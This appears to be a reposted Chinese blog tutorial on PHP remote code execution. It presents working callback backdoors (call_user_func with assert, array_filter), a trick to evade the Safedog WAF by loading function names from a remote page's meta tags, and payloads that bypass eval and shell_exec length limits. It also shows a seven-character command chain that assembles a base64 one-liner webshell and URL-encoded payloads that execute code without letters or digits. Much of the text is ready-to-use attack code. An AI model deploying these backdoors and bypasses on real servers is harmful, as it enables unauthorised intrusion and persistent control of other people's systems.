当前位置: 首页 > news >正文

RCE漏洞基础初了解

目录

一、简介

二、php的命令执行函数

2.1 exec

2.2 passthru

2.3 shell_exec

2.4 popen

三、代码执行

3.1 php的回调后门

3.1.1 回调后门的老祖宗

3.1.2 数组造成单参数回调后门

3.1.3 绕过安全狗

​编辑 四、来看看php中webshell奇淫技巧

4.1eval长度限制突破方法

4.1.1 开胃菜

4.1.2 拼接

4.1.3 变长参数


一、简介

所谓rce简单来说就是可以执行系统命令的函数,举个例子

<?php
system('whoami');

二、php的命令执行函数

PHP: exec - Manual

2.1 exec

<?php
// 输出运行中的 php/httpd 进程的创建者用户名
// (在可以执行 "whoami" 命令的系统上)
$output=null;
$retval=null;
exec('whoami', $output, $retval);
echo "Returned with status $retval and output:\n";
print_r($output);
?>

2.2 passthru

<?php
passthru("whoami");
?>

2.3 shell_exec

<?php
$output = shell_exec('whoami');
echo "<pre>$output</pre>";
?>

2.4 popen

pass:linux有0,1,2三个选项(标准输入,标准输出,错误输出)

<?php
error_reporting(E_ALL);/* 加入重定向以得到标准错误输出 stderr。 */
$handle = popen('whoami', 'r');
echo "'$handle'; " . gettype($handle) . "\n";
$read = fread($handle, 2096);
echo $read;
pclose($handle);
?>

三、代码执行

3.1 php的回调后门

3.1.1 回调后门的老祖宗

php中call_user_func是执行回调函数的标准方法,这也是一个比较老的后门了:

call_user_func('assert', $_REQUEST['pass']);

assert直接作为回调函数,然后$_REQUEST['pass']作为assert的参数调用。

call_user_func_array('assert', array($_REQUEST['pass']));

3.1.2 数组造成单参数回调后门

<?php
$e = $_REQUEST['e'];
$arr = array($_POST['pass'],);
array_filter($arr, base64_decode($e));

调用

3.1.3 绕过安全狗

demo.php:

<?php
get_meta_tags("http://192.168.46.129/demo.html")["author"](get_meta_tags("http://192.168.46.129/demo.html")["keywords"]);

demo.html: 

<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta name="author" content="system"><meta name="keywords" content="whoami"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>Document</title>
</head>
<body></body>
</html>

自然绕过了安全狗的拦截

正常的回调后门会触发安全狗的机制

 四、来看看php中webshell奇淫技巧

4.1eval长度限制突破方法

4.1.1 开胃菜

<?php
$param = $_REQUEST['param']; If (
strlen($param) < 17 && stripos($param, 'eval') === false && stripos($param, 'assert') === false
) {
eval($param);
}

长度限制为17为

那是不是直接执行就可以呢?我的phpinfo()也才十位,但是我们是不是只能执行phpinfo()了,怎么突破

代码执行转命令执行

param=echo `$_GET[1]`;&1=id

 

4.1.2 拼接

file_put_contents&param=$_GET[1](N,P,8);

拼接一个webshell文件(以Base64形式)在linux中 、

/* 'PD9waHAgZXZhbCgkX1BPU1RbOV0pOw' ✲写入文件'N'中	*/

4.1.3 变长参数

PHP5.6+变长参数 ⇒ usort回调后门 ⇒ 任意代码执行

php可变长参数三个点

1[]=test&1[]=phpinfo();&2=assert

抓个包看看

4.2 突破七位长度

Linux命令长度限制在7个字符的情况下,如何拿到shell

<?php
$param = $_REQUEST['param']; If ( strlen($param) < 8 ) { echo shell_exec($param);
}

因为我们的param是可以接参数的

我们在命令行请求后一点一点用文件打进去最后用shell执行即可

>hp
w>c.p\\
w>d\>\\

执行命令

ls -t>0
sh 0

 最后拼接为

ech\ o \	PD9\ waH\ AgZ\ XZh\ bCg\ kX0\ dFV\ Fsx\ XSk\ 7|\	bas\ e64\	-\	d>\	c.p\ hp

 

执行shell就完美拼接为我们的一句话木马了

4.3 无字母数字webshell执行

<?php
if(isset($_GET['code'])){$code = $_GET['code'];if(strlen($code)>35){die("Long.");}if(preg_match("/[A-Za-z0-9_$]+/",$code)){die("NO.");}eval($code);
}else{highlight_file(__FILE__);
}

首先我们看代码有限制长度到35,但是它严重的是限制了字母甚至$和_也限制了 

PHP7前是不允许用($a)();这样的方法来执行动态函数的,但PHP7中增加了对此的支持。所以,我们可以通过('phpinfo')();来执行函数,第一个括号中可以是任意PHP表达式。

很明显它是允许的

我们可以写这样的一串代码去进行绕过

(~%8F%97%8F%96%91%99%90)();

而我们去研究研究这串代码首先~是取反的意思

4.3.1 那如果是5.6的版本呢

那我们的临时文件就起到作用了

举个例子吧

随便写个上传表单

开始转圈

很明显tmp多了一个临时文件如下

我们现在需要做的是写一个文件在临时文件没删除的时候,给它执行起来,如果能顺利执行,那我们创建一句话木马就很简单

那上传之后怎么跳转目录匹配到成了我们现在的一个问题,还有一个权限问题,这是我们目前需要解决的两个问题

权限问题,linux有个特性. 文件可以直接执行

匹配:因为php是get和post同时执行的,linux生成临时文件有一个特征最后一位一次是小写一次是大写,我们直接匹配大写就可以做到精准匹配

那这个时候ascli表就起作用了,加之通配符

[@-[]:ascli匹配所有大写字母

Linux shell 通配符 / glob 模式 - divent - 博客园 (cnblogs.com)

看一下linux下的官方文档怎么说

glob(7) - Linux manual page

行了,理论形成,实践开始,我们抓包来看看

post传参

get传参

将get传参改为post把post传参的数据拿进来

我们在demo.php后传参?code=那就有疑问了此时我的php到底是接收get还是post参数,这就是我们php的神奇之处,上面的post是接收我的请求体的,而我们get参数在我的问号后面接收

看看官方文档:

那很明显我们传参的时候要先闭合,再写我们的代码

而linux不能执行我们的eval,那反引号就起作用了,eval执行反引号,反引号可以执行linux命令,我们的代码执行变成了命令执行。

?code=?><?=`.+/%3f%3f%3f/%3f%3f%3f%3f%3f%3f%3f%3f[%40-[]`%3b?>

4.3.2 再看一道

<?php
$param = $_REQUEST['param']; If ( strlen($param) < 8 ) { echo shell_exec($param);
}

解决方法:

用t确定第一个目录是tmp,星号匹配所有

?param=.+/t*/*

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • Power Query抓取多页数据导入到Excel
  • C# 解析html
  • FFmpeg源码:av_buffer_is_writable、av_buffer_realloc函数分析
  • Mybatis声明变量并使用
  • 服务器硬件及RAID配置
  • 基于springboot的乐享田园系统
  • Linux系统性能调优技巧
  • 学习计算机网络(三)——IP地址
  • Golang实现简单的HTTP服务,响应RESTful请求判断形状大小
  • 理解张量拼接(torch.cat)
  • cmseasy的两个注入漏洞
  • GiantPandaCV | 大模型训练:Megatron-Kwai中的内存优化
  • Lesson 57 An unusual day
  • git:安装 / 设置环境变量 / 使用
  • 009集——调用方法与递归算法 ——C#学习笔记
  • bootstrap创建登录注册页面
  • HashMap剖析之内部结构
  • LeetCode29.两数相除 JavaScript
  • Spring思维导图,让Spring不再难懂(mvc篇)
  • 机器学习 vs. 深度学习
  • 每天一个设计模式之命令模式
  • 批量截取pdf文件
  • 使用阿里云发布分布式网站,开发时候应该注意什么?
  • 大数据全解:定义、价值及挑战
  • 没有任何编程基础可以直接学习python语言吗?学会后能够做什么? ...
  • 直播平台建设千万不要忘记流媒体服务器的存在 ...
  • ​​​​​​​开发面试“八股文”:助力还是阻力?
  • ​决定德拉瓦州地区版图的关键历史事件
  • (06)Hive——正则表达式
  • (13)[Xamarin.Android] 不同分辨率下的图片使用概论
  • (BAT向)Java岗常问高频面试汇总:MyBatis 微服务 Spring 分布式 MySQL等(1)
  • (笔试题)合法字符串
  • (二) 初入MySQL 【数据库管理】
  • (二)十分简易快速 自己训练样本 opencv级联lbp分类器 车牌识别
  • (二十六)Java 数据结构
  • (回溯) LeetCode 78. 子集
  • (论文阅读32/100)Flowing convnets for human pose estimation in videos
  • (转)IOS中获取各种文件的目录路径的方法
  • (轉貼) 蒼井そら挑戰筋肉擂台 (Misc)
  • **PHP二维数组遍历时同时赋值
  • .L0CK3D来袭:如何保护您的数据免受致命攻击
  • .net core docker部署教程和细节问题
  • .net core使用RPC方式进行高效的HTTP服务访问
  • .NET 回调、接口回调、 委托
  • .net 逐行读取大文本文件_如何使用 Java 灵活读取 Excel 内容 ?
  • .NET/C# 编译期间能确定的相同字符串,在运行期间是相同的实例
  • .Net+SQL Server企业应用性能优化笔记4——精确查找瓶颈
  • .Net接口调试与案例
  • .net使用excel的cells对象没有value方法——学习.net的Excel工作表问题
  • :O)修改linux硬件时间
  • @NestedConfigurationProperty 注解用法
  • @RequestBody详解:用于获取请求体中的Json格式参数
  • @开发者,一文搞懂什么是 C# 计时器!
  • [4]CUDA中的向量计算与并行通信模式
  • [AIGC] HashMap的扩容与缩容:动态调整容量以提高性能